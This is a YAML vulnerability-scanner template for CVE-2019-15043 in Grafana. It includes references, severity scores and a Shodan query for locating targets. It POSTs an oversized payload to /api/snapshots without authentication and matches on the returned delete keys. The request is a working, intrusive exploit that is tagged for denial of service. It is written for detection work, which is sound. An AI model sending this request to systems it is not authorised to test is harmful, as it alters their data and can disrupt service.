64 lines
1.7 KiB
YAML
64 lines
1.7 KiB
YAML
id: CVE-2019-15043
|
|
|
|
info:
|
|
name: Grafana - Improper Access Control
|
|
author: Joshua Rogers
|
|
severity: high
|
|
description: |
|
|
Grafana 2.x through 6.x before 6.3.4 is susceptible to improper access control. An attacker can delete and create arbitrary snapshots, leading to denial of service.
|
|
remediation: Upgrade to 6.3.4 or higher.
|
|
reference:
|
|
- https://community.grafana.com/t/grafana-5-4-5-and-6-3-4-security-update/20569
|
|
- https://grafana.com/blog/2019/08/29/grafana-5.4.5-and-6.3.4-released-with-important-security-fix/
|
|
- https://bugzilla.redhat.com/show_bug.cgi?id=1746945
|
|
- https://aaron-hoffmann.com/posts/cve-2019-15043/
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15043
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-15043
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2019-15043
|
|
cwe-id: CWE-306
|
|
epss-score: 0.27328
|
|
epss-percentile: 0.96168
|
|
cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: grafana
|
|
product: grafana
|
|
shodan-query: title:"Grafana"
|
|
tags: cve,cve2019,grafana,dos,intrusive
|
|
variables:
|
|
payload: '{{repeat("A", 4000)}}'
|
|
|
|
http:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/api/snapshots"
|
|
|
|
body: '{"dashboard": {"name":"{{payload}}"}}'
|
|
|
|
headers:
|
|
Content-Type: "application/json"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"deleteUrl":'
|
|
- '"deleteKey":'
|
|
- '"key":'
|
|
- '"url":'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/json"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|